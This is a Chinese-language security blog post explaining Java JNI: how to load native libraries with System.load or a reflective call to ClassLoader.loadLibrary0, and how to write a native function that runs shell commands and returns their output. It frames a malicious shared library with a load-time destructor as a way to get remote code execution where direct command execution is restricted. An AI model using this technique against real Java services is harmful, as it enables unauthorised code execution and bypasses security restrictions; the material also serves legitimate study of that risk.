azraelxuemo's Studio.

JNI

2023/12/03

Java是基于C实现的,Java底层的很多API都是通过JNI(Java Native Interface)来实现的。通过JNI接口C/C++和Java可以互相调用。

加载动态链接库

JNI需要把c编写的动态链接库加载进来,然后进行调用,那么这里加载的时候可以在动态链接库里加上恶意代码

1
2
3
4
#include <stdlib.h>
__attribute__((destructor)) void test(){
system("touch /tmp/xuemo.txt");
}
1
gcc evil.c --shared -fPIC -o evil.so

使用System.load加载,这里要使用绝对路径,运行完可以发现system命令成功执行

1
System.load("/Users/xuemo/Desktop/java_project/untitled/src/main/java/evil.so");

使用ClassLoader.loadLibrary0加载,这里也要绝对路径,也可以发现命令成功执行

1
2
3
4
File libPath = new File("/Users/xuemo/Desktop/java_project/untitled/src/main/java/evil.so");
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(ClassLoader.getSystemClassLoader(),null , libPath);

那么如果实际场景里限制了命令执行的话,没有限制动态链接库加载,那么我们可以通过加载动态链接库的方式进行RCE

JNI demo

上面的例子只是简单的加载,还没有涉及到JNI这方面,我们简单来个demo

1
2
3
4
public class demo {
public static native String exec(String cmd);
}

接下来就是生成对应的c文件头,进入到对应路径(这里我没有定义package,如果定义package了,就要相对应的修改一下参数)

1
2
javac -cp . demo.java  #生成class
javah -d . -cp . demo #生成.h

可以看到,我们java里的exec函数就对应这里的Java_demo_exec,Java_是固定前缀,然后是完整包名,然后是函数名
截屏2023-12-02 16.02.40.png
常用的话就注意字符串直接的转化
jstring转const char *:env->GetStringUTFChars(jstring str, jboolean isCopy)
const char
转jstring: env->NewStringUTF(const char *utf)
如果用vscode编写时候,可以加一个include路径,对于mac来说,需要$JAVA_HOME/include和$JAVA_HOME/include/darwin两个目录下面的,这里配置**可以递归搜索
截屏2023-12-02 09.13.46.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "demo.h"
#include <string>
using namespace std;
JNIEXPORT jstring JNICALL Java_demo_exec
(JNIEnv *env, jclass jclass, jstring str ){
if (str != NULL) {
jboolean isCopy;

const char *cmd = env->GetStringUTFChars(str, &isCopy);


FILE *fd = popen(cmd, "r");

if (fd != NULL) {

string result;

char buf[128];

while (fgets(buf, sizeof(buf), fd) != NULL) {
result.append(buf);
}

pclose(fd);

return env->NewStringUTF(result.c_str());
}

}

return NULL;

}
1
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o demo.so demo.cpp

直接调用会报错,因为毕竟我们还没有加载so
截屏2023-12-02 16.33.16.png
加载进来就可以执行啦
使用System.load

1
2
System.load("/Users/xuemo/Desktop/java_project/untitled/src/main/java/demo.so");
System.out.println(demo.exec("ifconfig"));

截屏2023-12-02 16.34.50.png
使用ClassLoader.loadLibrary0

1
2
3
4
5
File libPath = new File("/Users/xuemo/Desktop/java_project/untitled/src/main/java/demo.so");
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(ClassLoader.getSystemClassLoader(),demo.class , libPath);
System.out.println(demo.exec("ifconfig"));
CATALOG
  1. 1. 加载动态链接库
  2. 2. JNI demo